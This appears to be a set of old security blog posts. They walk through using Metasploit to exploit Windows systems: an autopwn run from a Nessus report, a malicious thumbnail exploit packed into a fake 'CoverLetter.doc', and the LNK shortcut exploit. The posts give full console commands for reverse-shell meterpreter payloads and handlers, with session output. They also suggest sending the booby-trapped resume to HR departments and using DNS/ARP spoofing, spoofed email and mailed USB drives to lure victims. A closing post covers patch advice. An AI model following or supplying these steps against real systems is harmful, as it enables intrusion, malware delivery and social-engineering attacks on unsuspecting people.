From Nessus to Metasploit to game over

How many times have you fired off a Nessus scan and then after finding the goodies you have to go to either ExploitDB , or a similar site in search for a exploit. Or if you are a pro then its off to go and write your own exploit for the newly discovered vulnerability.

Today’s post will focus on what to do after you have scanned that vulnerable system and found a juice vulnerability. If this is the first time you have heard of ExploitDB or Metasploit you should first visit the Metasploit Unleashed training site.

Lab setup

  • Backtrack 4 Linux VM
  • Windows 2003 server with a  vulnerable web app

Below are the necessary steps to get from a Nessus scan to the correct Metasploit module for  exploiting your system.

Step one: Install Nessus

You can download your copy of nessus from HERE and don’t forget to register for a homefeed license. Now create your scan policy or used from one of the default policies. I selected the web application policy since the target server was running and outdated web application.  Once your scan is completed download the report and save it in a .nessus format.

Step two: Launching  Metasploit

Login to your machine of choice, in my case its my BackTrack4 Linux VM. Issue the following commands to load Metasploit:

  • cd /pentest/exploits/framework3 (change directory to your metasploit installation dir)
  • ./msfconsole
  • svn up (to get the latest update)

Step three: DB Magic

At this stage you will need to create a DB, import the scanned nessus report, and then perform your hacking kungfu with the db_autopwn command.

msf > db_create

msf > db_connect
[-] Note that sqlite is not supported due to numerous issues.
[-] It may work, but don’t count on it
[*] Successfully connected to the database
[*] File: /root/.msf3/sqlite3.db

db_import /pentest/results/nessus_report_TestSrvr.nessus
msf > db_import /pentest/results/nessus_report_Appsrvr.nessus
[*] Importing ‘Nessus XML (v2)’ data
[*] Importing host
[*] Successfully imported /pentest/results/nessus_report_TestSrvr.nessus

db_autopwn -t -x

This command will search Metasploit for any exploits that matches your various vulnerability from the Nessus report, it will not automatically run the exploit for our unless you use the -e option. In most cases if you are testing this against a live system then you should leave out the -e option to avoid crashing your server.

msf > db_autopwn -t -x
[*] Analysis completed in 10 seconds (0 vulns / 0 refs)
[*] ================================================================================
[*]                             Matching Exploit Modules
[*] ================================================================================
[*]  exploit/windows/smb/psexec  (CVE-1999-0504, OSVDB-3106)
[*]  exploit/windows/http/apache_mod_rewrite_ldap  (CVE-2006-3747, BID-19204, OSVDB-27588)
[*] ================================================================================

From this point I have two exploits to choose from:

msf > use exploit/windows/http/apache_mod_rewrite_ldap
msf exploit(apache_mod_rewrite_ldap) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(apache_mod_rewrite_ldap) > set LHOST
msf exploit(apache_mod_rewrite_ldap) > set RHOST
msf exploit(apache_mod_rewrite_ldap) > exploit

From this point on its GAME OVER!



New Year, New MS Zero Day

With the new year usually brings hope for new changes however it seems to be the same old story with Microsoft. First advisory of the year and already you have to sit around waiting for MS to release a patch. Todays blog posting is based on the new Vulnerability in Graphics Rendering Engine . The guys over at has created a working exploit module for this that I was testing and it seem to be working as stated.

According to the note in the module, This module exploits a stack-based buffer overflow in the handling of thumbnails within .MIC files and various Office documents. When processing a thumbnail bitmap containing a negative ‘biClrUsed’ value, a stack-based buffer overflow occurs. This leads to arbitrary code execution.  In order to trigger the vulnerable code, the folder containing the document must be viewed using the “Thumbnails” view.

The vulnerability is exploited via malicious thumbnail images that may be attached to various documents (e.g. Microsoft Office documents). The most likely exploit vector would use e-mail attachments. However, it is also possible to use network shares.

There is currently no patch available. However, it is possible to modify the access control list on shimgvw.dll to prevent rendering of thumbnails (this would affect all thumbnails, not just malicious once). See the Microsoft advisory for details.

Affected Platforms:

All current versions of Windows, with the exception of Windows 7 and 2008 R2, are vulnerable.


There is currently no patch available. However, it is possible to modify the access control list on shimgvw.dll to prevent rendering of thumbnails (this would affect all thumbnails, not just malicious once). See the Microsoft advisory for details.

Test Lab Setup:

  • I used Vmware Workstation with two hosts (XP, and BT4)
  • I tested this against a Windows XP SP3 host
  • I used Metasploit v3.6.0-dev [core3.6 api:1.0]  with SVN revision 11471 on BackTrack 4 R2
  • Exploit module used can be found under modules/exploits/windows/fileformat/ms11_xxx_createsizeddibsection.rb

Steps Taken:

  • Launched msfconsole from within the /pentest/exploits/framework3 directory on my BT4 R2 host, once that was up I then issued the svn up command to ensure I had the latest and greatest.
  • Selected my exploit  –>  msf > use exploit/windows/fileformat/ms11_xxx_createsizeddibsection
  • Set filename and Output path –>

msf exploit(ms11_xxx_createsizeddibsection) > set FILENAME CoverLetter.doc

FILENAME => CoverLetter.doc

msf exploit(ms11_xxx_createsizeddibsection) > set OUTPUTPATH opt/metasploit3/msf3/data/exploits

OUTPUTPATH => /opt/metasploit3/msf3/data/exploits

Choosing your Payload: I decided to go with the meterpreter

msf exploit(ms11_xxx_createsizeddibsection) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

Setting up your local host (host you want victim to reverse connect too):

msf exploit(ms11_xxx_createsizeddibsection) > set LHOST


msf exploit(ms11_xxx_createsizeddibsection) > set LPORT 4545

LPORT => 4545

Next issue the command  exploit to create your malicious file:

msf exploit(ms11_xxx_createsizeddibsection) > exploit

[*] Creating ‘CoverLetter.doc’ file …

[*] Generated output file /opt/metasploit3/msf3/data/exploits/CoverLetter.doc

Next we need to setup our reverse handler to listen on port 4545 for any incoming connections once our victim views/open our specially crafter file.  We can take this resume file and blast it out to HR departments across the net and just sit back and wait for them to  connect back home :).

msf exploit(ms11_xxx_createsizeddibsection) > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST


msf exploit(handler) > set LPORT 4545

LPORT => 4545

msf exploit(handler) > exploit

Now once our victim views the file in a thumbnail view, or opens it  you should see something like this:

[*] Started reverse handler on

[*] Starting the payload handler…

[*] Sending stage (749056 bytes) to

[*] Meterpreter session 1 opened ( -> at Tue Jan 04 20:39:40 -0500 2011

From here you can jump into a shell on the system by issuing the “shell” command, or setup a Persistence Meterpreter backdoor as shown by Carlos, or start Capturing Windows Logons with Smartlocker basically sky’s the limit……Have fun hacking something.

Refernce links:

Month of Abysssec Undisclosed Bugs

the below Post came through Full Disclosure mailing this today and I figured for something this interesting it merited a re-post.

Month of Abysssec Undisclosed Bugs – Day 1 From: muts
Date: Wed, 01 Sep 2010 15:21:34 +0200

Hi Lists,

The Abysssec Security Team has started its Month of Abysssec undisclosed
bugs (MOAUB).

During this month, Abysssec will release a collection of 0days, web application vulnerabilities, and detailed binary analysis (and pocs) for recently released advisories by vendors such as Microsoft, Mozilla, Sun, Apple, Adobe, HP, Novel, etc.

The exploits, papers and PoCs will be featured on the Exploit-Database (, averaging one 0day and one binary analysis a day.

Get your hard-hats on, your VM¹s and debugging tools organized ­ it’s going to be a an intensive ride.

Posted today – MOAUB Day 1:


2 —

Abysssec and the Exploit Database Team

Since these are going to be mostly 0-days or currently unpatched vulnerabilities, it might be time to update to the latest versions of your various applications. Lastly if you have not been looking at your various logs, and consoles this week might be a good time to start.

Exploiting MS “LNK” Vulnerability

A few days ago I posted a blog entry called Microsoft Validates Shortcut Vulnerability, this entry basically explains what the issue is and also listed a few basic mitigation techniques.

Below I will be demonstrating how you can actively exploit this vulnerability using Metasploit.

Proof of concept testing:
This test was preformed using my BT4 VM which was assigned IP address and a Win XPSP3 VM using IP address

Step 1: Load Metasploit and get latest update

On my BackTrack4 VM, I browsed to /pentest/exploit/framework3, then load msfconsole once that is loaded run svn update so you can get the latest and greatest.

Fig-1 SVN Update

Step 2: Select your Exploit and Payload

msf > use exploit/windows/browser/ms10_xxx_Windows_shell_lnk_execute

msf exploit(ms10_xxx_Windows_shell_lnk_execute) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(ms10_xxx_Windows_shell_lnk_execute) > show options

The show options commands will show you the various parameters  that needs to be set in order for the exploit to be functional. In our case its setting up the listening IP and listening port.

Fig-2  Choosing Exploit and Payload

Step 3: Fill-in required options and run exploit

At this stage you simply fill in the correct IP address and listening port for the machine that you are launching the attack from. If this is not correct the victim machine would not know where to connect back too, since I selected reverse_tcp.

msf exploit(ms10_xxx_Windows_shell_lnk_execute) > SET SRVHOST

msf exploit(ms10_xxx_Windows_shell_lnk_execute) >SET LHOST

msf exploit(ms10_xxx_Windows_shell_lnk_execute) >exploit

Fig-3 Fill-in LHOST and SRVHOST

Step 4: Get your victim to click the link or view the malicious file

Now at this stage  you have to get a bit creative, I can suggest a few things you can try:

  • Use Ettercap to DNS spoof a target network and redirect them to your malicious URL, example.
  • Use a tool like Social Engineering Toolkit “SET” to send a spoofed email with your malicious link, example.
  • ARP spoof your host network and find a given target that’s using Facebook or one of  many social networks and try to send them the link that way.
  • Try a far out social engineering  attack like purchase several USB drives inject them and mail them to your target with the label “free USB drive”.

Once you have your targets in sight just sit back and wait, once an exploitation has been kicked off you will see the below;

Fig-4 Successful Exploit

Verify you have an active session, session using sessions -l, next connect to that session with sessions -i #, from here you can run help to get a list of possible commands. I simply ran ipconfig and getuid to show that I was on the Windows XPVM and that it was successfully exploited.

Fig-5 Running Commands on exploited host

Fig-6 Popup box on exploited host

In the end there is really not much the average user can do that is not aware of your everyday vulnerability, but us as IT professional need to be in the loop so that we can take back the information and make them aware. Lastly the image in figure 6 should be a dead giveaway that something is up with your computer if you didn’t connect to a share but all of sudden you see one pop-up its time for a “wipe and reinstall.” Have fun until Microsoft patches this one and remember to be responsible. All feedback are welcome.

Patch Tuesday & XP SP2 end of life

In the words of Microsoft patch Tuesday is defined as ” When necessary, Microsoft releases security updates on the second Tuesday of each month. We publish security bulletins to announce and describe the update. Occasionally security updates are released more often.”

Now just in case you are wondering why I am choosing today to talk about patch Tuesdays of all days, well for starters today is significant because  patches,  and support for XP SP2 officially ends today. This might not seem like a big deal for a lot of people but I know the are several  companies that still run legacy software that are not supported by SP3 or above. So in short any new vulnerabilities that are discovered in the coming months or years will have all those users at there disposal just waiting to be exploited!

If you think that’s bad what about if a vulnerability was already  reported to Microsoft years ago and it was never patched, then those users could have already been exploited. A reference for this was a statement made by HD Moore on twitter today, “Almost four years later, Microsoft EOL’s Windows XP SP2 without fixing the flaw I reported in 2006. “ HDM is the Chief Architect of Metasploit project, the project was created to provide information on exploit techniques and to create a functional knowledge base for exploit developers and security professionals. So luckily he is one of the good guys, but what if this exploit and many more like this was in the wrong hands, sky’s the limit.

So for anyone that is still using XP SP2 time to apply the following patches below, and also come up with a strategy for these potentially vulnerable machines.

Latest Security Updates

  • MS10-042 (Patch NOW) addresses a vulnerability in Microsoft Windows (KB 2229593) –> previous blog entry on this
  • MS10-043 – addresses a vulnerability in Microsoft Windows (KB 2032276)
  • MS10-044 – addresses vulnerabilities in Microsoft Office (KB 982335)
  • MS10-045 – addresses a vulnerability in Microsoft Office Outlook (KB 978212)

Looking forward to seeing what  others might have to say about this.